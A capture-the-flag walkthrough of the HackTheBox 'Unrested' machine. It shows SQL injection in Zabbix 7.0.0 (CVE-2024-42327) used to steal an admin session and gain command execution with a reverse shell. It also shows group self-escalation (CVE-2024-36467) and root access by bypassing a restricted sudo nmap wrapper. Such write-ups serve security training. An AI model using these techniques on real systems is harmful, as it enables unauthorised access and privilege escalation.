HTB: Unrested

Unrested is all about a Zabbix server and a critical vulnerability that was made public in December 2024. It’s a SQL injection vulnerability, and I’ll deep dive into the source to see how it works, and how to exploit it. Most solutions to this box show blind SQL injection, I’ll show how to use the source code to figure out how to get data back from the DB. For root, I’ll abuse sudo nmap with a custom wrapper that breaks the published GTFObins. In Beyond Root, I’ll look at another vulnerability that came out at the same time, and show what the super admin role looks like in the GUI by escalating my user to that role.
Box Info
Name | Unrested ![]() Play on HackTheBox |
---|---|
Release Date | 05 Dec 2024 |
Retire Date | 4 Mar 2025 |
OS | Linux ![]() |
Base Points | Medium [30] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creator |
Recon
nmap
nmap
finds four open TCP ports, SSH (22), HTTP (80), and two unknown ports (10050, 10051):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-28 14:16 UTC
Nmap scan report for 10.10.11.50
Host is up (0.087s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10050/tcp open zabbix-agent
10051/tcp open zabbix-trapper
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds
oxdf@hacky$ nmap -p 22,80,10050,10051 -sCV 10.10.11.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-28 14:17 UTC
Nmap scan report for 10.10.11.50
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.61 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy.
Initial Credentials
This box is meant to simulate a web application pentest, where it is common to have an account on the application to completely test it. The site says:
As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3
Zabbix - TCP 80
Unauthenticated Site
The website on TCP 80 is an instance of Zabbix:

Zabbix is an open-source enterprise monitoring software.
This post on the Zabbix forums suggests that ports 10050 and 10051 have to do with Zabbix as well. I’m not able to get anything else out of these with curl
or nc
.
Not much else I can do here without creds.
Authenticated Site
On giving the provided creds, I’m able to log into the site and get a dashboard:

Tech Stack
Zabbix source shows it’s written in PHP, and loading /zabbix/
as /zabbix/index.php
works. The dashboard also natively loads as /zabbix/zabbix.php
after logging in.
The initial HTTP response sets a zbx_session
cookie:
HTTP/1.1 200 OK
Date: Fri, 28 Feb 2025 14:27:35 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: zbx_session=eyJzZXNzaW9uaWQiOiIwYTAyYzlmMzFmMzNmNTY3Y2Q5NDkxMTY5OWE5NzA4YyIsInNpZ24iOiI3NTQxNzhkMWQ5Y2ExZjIyNWU0MDVhNGMzZDhhMjQ3M2Q5OWYzODgzMzVlMjIxYmJhYTE4NmMwMTUxNjdjNzg2In0%3D; path=/zabbix; HttpOnly
Vary: Accept-Encoding
Content-Length: 3909
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
The cookie looks like base64, and it is:
oxdf@hacky$ echo "eyJzZXNzaW9uaWQiOiIwYTAyYzlmMzFmMzNmNTY3Y2Q5NDkxMTY5OWE5NzA4YyIsInNpZ24iOiI3NTQxNzhkMWQ5Y2ExZjIyNWU0MDVhNGMzZDhhMjQ3M2Q5OWYzODgzMzVlMjIxYmJhYTE4NmMwMTUxNjdjNzg2In0=" | base64 -d | jq .
{
"sessionid": "0a02c9f31f33f567cd94911699a9708c",
"sign": "754178d1d9ca1f225e405a4c3d8a2473d99f388335e221bbaa186c015167c786"
}
In the dashboard and at the footer of the authenticated site, it shows the version as 7.0.0:

The 404 page is the default Apache 404:

I’ll skip the directory brute force given that the source is public.
API Enumeration
General Interaction
I’m going to need some basic understanding of how to work with the Zabbix API, which is documented here.
Without any auth, I can request the version:
oxdf@hacky$ curl http://10.10.11.50/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc": "2.0", "method": "apiinfo.version", "params": {}, "id": 1}'
{"jsonrpc":"2.0","result":"7.0.0","id":1}
Auth
I’ll use the given creds to get a token:
oxdf@hacky$ curl http://10.10.11.50/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "matthew", "password": "96qzn0h2e1k3"}, "id": 1}'
{"jsonrpc":"2.0","result":"d2a3d7abe1800ee24ab7d729df6c5439","id":1}
I can use a bash
one-liner to get a token and save it in an environment variable to easier use:
oxdf@hacky$ token=$(curl http://10.10.11.50/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "matthew", "password": "96qzn0h2e1k3"}, "id": 1}' -s | jq -r .result)
(venv) oxdf@hacky$ echo "$token"
b8d0a591918636dd028247ebc141cbd8
I could also go to Burp and get requests going in Repeater. There’s a user.checkAuthentication
API that will show details about a given sessionid:

Most API endpoints take the token in an authorization header. For example, this endpoint returns unauthorized:

When I add in the token in an Authorization
header, it does:

Users
In theory, I should be able to use the user.get endpoint to get a list of all users. The site says:
Note: This method is available to users of any type. Permissions to call the method can be revoked in user role settings. See User roles for more information.
If I try though, it returns nothing:

If I add in the editable
field, it does return information about my user (I’ll show why shortly):

I’ll note matthew has a userid
of 3.
I can also request groups the same way, but don’t get any:

Again, likely this server is set up to require admins for this request.
Shell as zabbix
Identify CVEs
Searching for CVEs in Zabbix 7.0.0, I’ll come across two solid options:
- CVE-2024-36467 - An authenticated user with API access (e.g.: user with default User role), more specifically a user with access to the user.update API endpoint is enough to be able to add themselves to any group (e.g.: Zabbix Administrators), except to groups that are disabled or having restricted GUI access.
- CVE-2024-42327 - A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.
It turns out that being in the Zabbix Administrators group doesn’t buy that much in this configuration. I’ll look at CVE-2024-36467 in Beyond Root.
I’ll focus on CVE-2024-42327 now.
CVE-2024-42327
Background
The Nist description says that the injection is in the CUser
class in the addRelatedObjects
function which is accessed via the get
function. get
is in CUser.php
on lines 68-243. addRelatedObjects
is called on line 234:
if ($result) {
$result = $this->addRelatedObjects($options, $result);
}
This function is responsible for getting other information associated with a user that isn’t stored with the user table in the database, such as groups, media, and roles. In the section about roles at the end of the function, there is this code:
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
}
Specifically on lines 3046-3051 there’s a call to DBselect
using a query build from unsanitized user input.
Crashing SQLI
If I try to send just a '
to crash it as a regular user, it won’t work:

That’s because of this permissions check on lines 107-121 in get
:
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
I have to either provide the editable
option, or my user has to have the correct permissions. Adding editable
works:

That’s a good sign that I’ve started SQL injection.
Interestingly, if I use CVE-2024-36467 to add the matthew user to the Zabbix Administrators group, editable
is not needed.
SQLI POC
The code generating the query is:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
It’s taking the selectRole
option and joining all of them with ,r.
. So if I passed in ["role1", "role2"]
, it would generate:
SELECT u.userid,r.role1,r.role2 FROM users u, role r WHERE u.roleid=role.roleid AND u.userid in [$userIds];
There’s almost certainly a blind attack here, but if I want to get data back, I need to include the FROM users u, role r WHERE u.roleid=r.roleid r;-- -
in my query.
To build this up, I’ll start with a simple query to get the role name (and use "output": []
to just show that, getting rid of the user data noise):

It is showing the user role, because that’s the role associated with my user id. I should be able to inject to have it show all roles:

This effectively makes the query:
SELECT u.userid,r.name from users u, role r WHERE u.roleid=r.roleid; -- - FROM users u, role r WHERE u.roleid=role.roleid AND u.userid in [$userIds];
Instead of filtering based on my id, it returns all ids.
SQLI Read POC
Getting the full list of roles is not super useful. I want to read other tables. To do that, I’ll start by adding another thing to read besides name. If I include a 1 as well, it will print that for each value:

I can change that into a subquery:

The sub-query must return a single value, but I can use group_concat
to achieve that, and try to read something:

That’s all three users - Admin, guest, and matthew!
DB Enumeration
Based on the success of group_concat
, it is likely a MySQL DB. To check for sure, I’ll try string concatenation as shown on the PortSwigger CheatSheet:


That’s MySQL. @@version
works too:

I can read the table names, but it’s long:

RCE
Strategy
Rather than try to figure out the DB through injection, I’ll look for ways to abuse Zabbix via SQL injection. This script shows abusing the item.create
API to get RCE. This does require Super Admin role.
To achieve this, I’ll try to get a session as the Admin user.
Read Admin Session
Session ids are held in the sessions
table in the sessiondid
column. I only want the session from the Admin user (which I’ve observed to have a userid
of 1), so I can limit to that and drop the group_concat
:

It works!

RCE POC
To execute a command, I need to have a hostid
. I’ll use the host.get
API to list the hosts (which now works as admin):

I’ll need the hostid
and the interfaceid
for the command execution.
To create the item, I’ll use the command from the script POC. I’ll start with a simple curl
to make sure it works:

It takes a minute or so to process, but then I get a request at my server:
10.10.11.50 - - [01/Mar/2025 00:48:02] code 404, message File not found
10.10.11.50 - - [01/Mar/2025 00:48:02] "GET /rce HTTP/1.1" 404 -
Reverse Shell
I’ll update the command to a reverse shell:

After a short wait, I get a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.50 60818
bash: cannot set terminal process group (2809): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$
I’ll upgrade it using the standard trick:
zabbix@unrested:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
zabbix@unrested:/$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
zabbix@unrested:/$
zabbix is able to read user.txt
from /home/matthew
:
zabbix@unrested:/home/matthew$ cat user.txt
262e6aa3************************
Shell as root
Enumeration
The zabbix user is able to run nmap
as any user without a password:
zabbix@unrested:/home/matthew$ sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
Fails
Script Mode / Interactive / File Input
A command technique to get execution through nmap
is using the --script
argument. I’ll create a dummy script:
zabbix@unrested:~$ echo 'os.execute("/bin/bash")' > test.sh
This will just return a shell when run. Now run nmap
and pass it the script:
zabbix@unrested:~$ sudo nmap --script=test.sh
Script mode is disabled for security reasons.
The same thing happens when trying to run nmap
with --interactive
:
zabbix@unrested:~$ sudo nmap --interactive
Interactive mode is disabled for security reasons.
Another trick I might try is -iL /root/root.txt
, which would use the contents of root.txt
as a target and it would be printed back to the console. It’s blocked as well:
zabbix@unrested:~$ sudo nmap -iL /root/root.txt
File input mode is disabled for security reasons.
Restrictive nmap for Zabbix
/usr/bin/nmap
is not actually the nmap
binary, but a Bash script:
zabbix@unrested:~$ cat /usr/bin/nmap
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
It checks if any of the RESTRICTED_OPTIONS
strings are in the command run, it prints the error and exits. If none of these are present, then it runs /usr/bin/nmap.original
.
Success
I’ll show three ways to get root.txt
using nmap
:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A-->F(<a href='#one-dash-script'>One dash\nscript</a>);
F-->C;
A[Shell as zabbix]-->B(<a href='#data-directory'>Data Directory</a>);
B-->C[Shell as root];
A-->D(<a href='#exclude-file'>Exclude File</a>);
D-->E[Read root.txt];
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3,6,7 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
One Dash Script
The easiest way to get root from here is a twist on the --script
argument. nmap
is nice enough to handle -script
just as it would --script
. But the wrapper script isn’t checking for that!
So I can:
zabbix@unrested:~$ echo 'os.execute("/bin/bash")' > test.sh
zabbix@unrested:~$ sudo nmap -script=test.sh
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-01 01:17 UTC
NSE: Warning: Loading 'test.sh' -- the recommended file extension is '.nse'.
root@unrested:/var/lib/zabbix# reset: unknown terminal type unknown
Terminal type? screen
root@unrested:/var/lib/zabbix# id
uid=0(root) gid=0(root) groups=0(root)
When I first get a root prompt out of nmap
, nothing I type is shown, but a reset
command fixes that and it’s a fully functional terminal, good enough to read the flag:
root@unrested:/var/lib/zabbix# cat /root/root.txt
2111a8ca************************
Data Directory
The intended path for this box is to abuse the --datadir
option, which the man page for nmap
says:
--datadir directoryname (Specify custom Nmap data file location) Nmap obtains some special data at runtime in files named nmap-service-probes, nmap-services, nmap-protocols, nmap-rpc, nmap-mac-prefixes, and nmap-os-db. If the location of any of these files has been specified (using the --servicedb or --versiondb options), that location is used for that file. After that, Nmap searches these files in the directory specified with the --datadir option (if any). Any files not found there, are searched for in the directory specified by the NMAPDIR environment variable. Next comes ~/.nmap for real and effective UIDs; or on Windows, HOME\AppData\Roaming\nmap (where HOME is the user's home directory, like C:\Users\user). This is followed by the location of the nmap executable and the same location with ../share/nmap appended. Then a compiled-in location such as /usr/local/share/nmap or /usr/share/nmap.
The default value is /usr/share/nmap
:
zabbix@unrested:~$ ls /usr/share/nmap/
nmap.dtd nmap-payloads nmap-service-probes nselib
nmap-mac-prefixes nmap-protocols nmap-services nse_main.lua
nmap-os-db nmap-rpc nmap.xsl scripts
Right away nse_main.lua
jumps out as interesting. That’s the runs every time nmap
runs with -sC
. So if I create a new one and tell nmap
that that directory is the data dir, it will load that:
zabbix@unrested:~$ echo 'os.execute("/bin/bash")' > /tmp/nse_main.lua
zabbix@unrested:~$ sudo /usr/bin/nmap --datadir /tmp -sC localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-01 01:25 UTC
root@unrested:/var/lib/zabbix# reset: unknown terminal type unknown
Terminal type? screen
root@unrested:/var/lib/zabbix# id
uid=0(root) gid=0(root) groups=0(root)
Just like above, I have to reset
to get the terminal working, but it works! And I can read the flag:
root@unrested:/var/lib/zabbix# cat /root/root.txt
2111a8ca************************
Exclude File
Just like the blocked -iL
, there’s an --excludefile
option:
--excludefile exclude_file (Exclude list from file) This offers the same functionality as the --exclude option, except that the excluded targets are provided in a newline-, space-, or tab-delimited exclude_file rather than on the command line. The exclude file may contain comments that start with # and extend to the end of the line.
Anything that’s using a file as targets can be a file read. It works here:
zabbix@unrested:~$ sudo nmap --excludefile /root/root.txt localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-01 01:28 UTC
Error resolving name "2111a8ca************************": Temporary failure in name resolution
QUITTING!
It errors trying to treat the flag like a host and prints it!
Beyond Root
CVE-2024-36467
Background
The user.update
API is executed by the update
function in the CUser
class defined in CUser.php
in the Zabbit source:
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}
This is very simple code. As long as $this.validateUpdate
returns, it will update the user.
If I try to set my user’s role to Super Admin (role 3), it returns with an error message:

The validateUpdate
code is very long (lines 371-543). The last line of this function calls checkHimself
(defined on lines 1109-1135):
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] != self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] == GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a group with disabled GUI access.')
);
}
}
}
break;
}
}
}
At the top, it checks if the roleid
key is in the data, and if so, there’s a check to see that the logged in user doesn’t match the user in the data.
That same check isn’t made if usrgrps
exists in the update. It only checks if the target group is disabled.
Execute
To run this, I’ll hit the user.update
API with new groups. It doesn’t return an error, which indicates success:

If I query user.get
now, the result is different:

It’s showing all the users now. Scrolling down to matthew, they are in the Zabbix Administrators group:
{
"userid":"3",
"username":"matthew",
"name":"Matthew",
...[snip]...
"usrgrps":[
{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}
]
}
Deadend
For Unrested, being in the Zabbix Administrators group doesn’t really buy me anything. Logging back into the GUI, I still can’t see much of a difference.
The real top privilege comes with the Super Admin role (which I’ll show below). I do have access to more API endpoints, but they aren’t ones that seem to buy much. Logging into the GUI doesn’t show anything different to exploit.
There are likely some common misconfigurations that a Super Admin could make that would give this group some way to do something nefarious from here, but in this relatively default configuration, it’s a dead end.
Super Admin
Get Role
To see the Super Admin role and how it differs from the Zabbix Administrators group, I’ll go into the database. The Zabbix DB config information is in /etc/zabbix/zabbix_server.conf
:
...[snip]...
DBName=zabbix
...[snip]...
DBUser=zabbix
...[snip]...
DBPassword=ZabberzPassword2024!
...[snip]...
I’ll connect to mysql
:
root@unrested:/etc/zabbix# mysql -u zabbix -pZabberzPassword2024!
...[snip]...
MariaDB [(none)]> use zabbix
...[snip]...
MariaDB [zabbix]>
The users
table has three users, as I saw during the injection:
MariaDB [zabbix]> select * from users; +--------+----------+---------+---------------+--------------------------------------------------------------+-----+--
---------+------------+---------+---------+---------+----------------+------------+---------------+---------------+---
-------+--------+-----------------+----------------+
| userid | username | name | surname | passwd | url | a
utologin | autologout | lang | refresh | theme | attempt_failed | attempt_ip | attempt_clock | rows_per_page | ti
mezone | roleid | userdirectoryid | ts_provisioned |
+--------+----------+---------+---------------+--------------------------------------------------------------+-----+--
---------+------------+---------+---------+---------+----------------+------------+---------------+---------------+---
-------+--------+-----------------+----------------+
| 1 | Admin | Zabbix | Administrator | $2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a | |
1 | 0 | default | 30s | default | 0 | | 0 | 50 | de
fault | 3 | NULL | 0 |
| 2 | guest | | | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 | |
0 | 15m | default | 30s | default | 0 | | 0 | 50 | de
fault | 4 | NULL | 0 |
| 3 | matthew | Matthew | Smith | $2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS | |
1 | 0 | default | 30s | default | 0 | | 0 | 50 | de
fault | 1 | NULL | 0 |
+--------+----------+---------+---------------+--------------------------------------------------------------+-----+--
---------+------------+---------+---------+---------+----------------+------------+---------------+---------------+---
-------+--------+-----------------+----------------+
3 rows in set (0.001 sec)
I’ll set the Admin user to have the same password as matthew:
MariaDB [zabbix]> update users set passwd = '$2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS' where userid = 1;
Query OK, 1 row affected (0.001 sec)
Rows matched: 1 Changed: 1 Warnings: 0
It worked:
MariaDB [zabbix]> select * from users;
+--------+----------+---------+---------------+--------------------------------------------------------------+-----+--
---------+------------+---------+---------+---------+----------------+------------+---------------+---------------+---
-------+--------+-----------------+----------------+
| userid | username | name | surname | passwd | url | a
utologin | autologout | lang | refresh | theme | attempt_failed | attempt_ip | attempt_clock | rows_per_page | ti
mezone | roleid | userdirectoryid | ts_provisioned |
+--------+----------+---------+---------------+--------------------------------------------------------------+-----+--
---------+------------+---------+---------+---------+----------------+------------+---------------+---------------+---
-------+--------+-----------------+----------------+
| 1 | Admin | Zabbix | Administrator | $2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS | |
1 | 0 | default | 30s | default | 0 | | 0 | 50 | de
fault | 3 | NULL | 0 |
| 2 | guest | | | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 | |
0 | 15m | default | 30s | default | 0 | | 0 | 50 | de
fault | 4 | NULL | 0 |
| 3 | matthew | Matthew | Smith | $2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS | |
1 | 0 | default | 30s | default | 0 | | 0 | 50 | de
fault | 1 | NULL | 0 |
+--------+----------+---------+---------------+--------------------------------------------------------------+-----+--
---------+------------+---------+---------+---------+----------------+------------+---------------+---------------+---
-------+--------+-----------------+----------------+
3 rows in set (0.001 sec)
GUI View
Logging in as Admin / 96qzn0h2e1k3 shows me a ton more menus:

Under “Data collection” –> “Hosts” –> “Items” I’ll see my RCE attempts:
